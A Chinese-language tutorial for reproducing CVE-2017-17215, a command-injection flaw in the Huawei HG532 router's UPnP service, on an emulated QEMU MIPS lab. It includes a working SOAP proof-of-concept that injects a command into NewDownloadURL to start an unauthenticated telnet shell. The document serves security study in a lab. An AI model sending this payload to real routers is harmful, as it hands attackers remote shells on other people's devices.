华为HG532路由器RCE漏洞
字数 953 2025-08-29 22:41:10

华为HG532路由器RCE漏洞(CVE-2017-17215)复现教程

漏洞概述

CVE-2017-17215是CheckPoint团队披露的华为HG532路由器远程命令执行(RCE)漏洞,存在于设备的UPnP(Universal Plug and Play)服务中。具体漏洞位于DeviceUpgrade SOAP接口,由于对NewDownloadURL参数处理不当,攻击者可通过精心构造的请求注入任意命令。

复现环境准备

系统要求

  • Ubuntu 20.04 TLS (推荐)或Ubuntu 22.04
  • 注意:不同Ubuntu版本可能遇到不同问题

工具安装

  1. QEMU (用于模拟MIPS环境):

    sudo apt-get install qemu qemu-system qemu-user-static
    
  2. 固件分析工具:

    sudo apt-get install binwalk
    
  3. SquashFS解压工具:

    git clone https://github.com/devttys0/sasquatch
    cd sasquatch
    sudo ./build.sh
    
  4. 网络工具:

    sudo apt-get install bridge-utils uml-utilities
    sudo sysctl -w net.ipv4.ip_forward=1
    

网络配置

  1. 编辑网络接口配置文件/etc/network/interfaces,根据实际情况修改接口名称(可能是ens33或eth0):

    auto br0
    iface br0 inet dhcp
        bridge_ports ens33
        bridge_stp off
        bridge_maxwait 0
    
  2. 重启网络服务:

    sudo service networking restart
    

固件提取与分析

  1. 使用binwalk递归扫描提取固件:

    binwalk -Me HG532固件文件
    
  2. 如果遇到"capstone没有ARM64属性"错误:

    • 修改相关py文件,将ARM64替换为ARM
    • 在Ubuntu 20.04上通常不会报错,22.04可能遇到此问题
  3. 如果提取的文件系统为空,使用sasquatch重新解压

QEMU仿真环境搭建

  1. 下载MIPS仿真所需文件:

    wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
    wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
    
  2. 创建启动脚本start.sh:

    #!/bin/bash
    qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
    
  3. 给脚本执行权限并运行:

    chmod +x start.sh
    ./start.sh
    
  4. 登录QEMU虚拟机(默认用户名密码均为root)

漏洞分析

  1. 漏洞文件位于/bin/upnp,是32位MIPS大端序程序,无任何保护机制

  2. 使用IDA分析upnp二进制文件:

    • 搜索字符串NewDownloadURLNewStatusURL
    • 创建函数进行反编译分析
  3. 漏洞原理:

    • 程序对输入标签直接使用system命令执行
    • 可通过;{cmd};格式进行命令拼接实现RCE

漏洞复现步骤

  1. 将提取的文件系统根目录替换原始镜像的根目录

  2. 查找UPnP服务端口:

    grep -r '37215' /bin/mic
    
  3. 启动UPnP服务:

    /bin/mic
    
  4. 验证端口是否开放:

    nc -vv 192.168.102.143 37215
    
  5. 构造并发送PoC利用代码:

    <?xml version="1.0"?>
    <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <SOAP-ENV:Body>
        <u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
          <NewDownloadURL>;telnetd -l /bin/sh;</NewDownloadURL>
          <NewStatusURL>;</NewStatusURL>
          <NewUsername>;</NewUsername>
        </u:Upgrade>
      </SOAP-ENV:Body>
    </SOAP-ENV:Envelope>
    
  6. 成功执行后,可通过telnet连接路由器获取shell

参考链接

华为HG532路由器RCE漏洞(CVE-2017-17215)复现教程 漏洞概述 CVE-2017-17215是CheckPoint团队披露的华为HG532路由器远程命令执行(RCE)漏洞,存在于设备的UPnP(Universal Plug and Play)服务中。具体漏洞位于DeviceUpgrade SOAP接口,由于对 NewDownloadURL 参数处理不当,攻击者可通过精心构造的请求注入任意命令。 复现环境准备 系统要求 Ubuntu 20.04 TLS (推荐)或Ubuntu 22.04 注意:不同Ubuntu版本可能遇到不同问题 工具安装 QEMU (用于模拟MIPS环境): 固件分析工具 : SquashFS解压工具 : 网络工具 : 网络配置 编辑网络接口配置文件 /etc/network/interfaces ,根据实际情况修改接口名称(可能是ens33或eth0): 重启网络服务: 固件提取与分析 使用binwalk递归扫描提取固件: 如果遇到"capstone没有ARM64属性"错误: 修改相关py文件,将ARM64替换为ARM 在Ubuntu 20.04上通常不会报错,22.04可能遇到此问题 如果提取的文件系统为空,使用sasquatch重新解压 QEMU仿真环境搭建 下载MIPS仿真所需文件: 创建启动脚本 start.sh : 给脚本执行权限并运行: 登录QEMU虚拟机(默认用户名密码均为root) 漏洞分析 漏洞文件位于 /bin/upnp ,是32位MIPS大端序程序,无任何保护机制 使用IDA分析 upnp 二进制文件: 搜索字符串 NewDownloadURL 和 NewStatusURL 创建函数进行反编译分析 漏洞原理: 程序对输入标签直接使用 system 命令执行 可通过 ;{cmd}; 格式进行命令拼接实现RCE 漏洞复现步骤 将提取的文件系统根目录替换原始镜像的根目录 查找UPnP服务端口: 启动UPnP服务: 验证端口是否开放: 构造并发送PoC利用代码: 成功执行后,可通过telnet连接路由器获取shell 参考链接 漏洞披露: CheckPoint研究报告 QEMU镜像下载: Debian MIPS镜像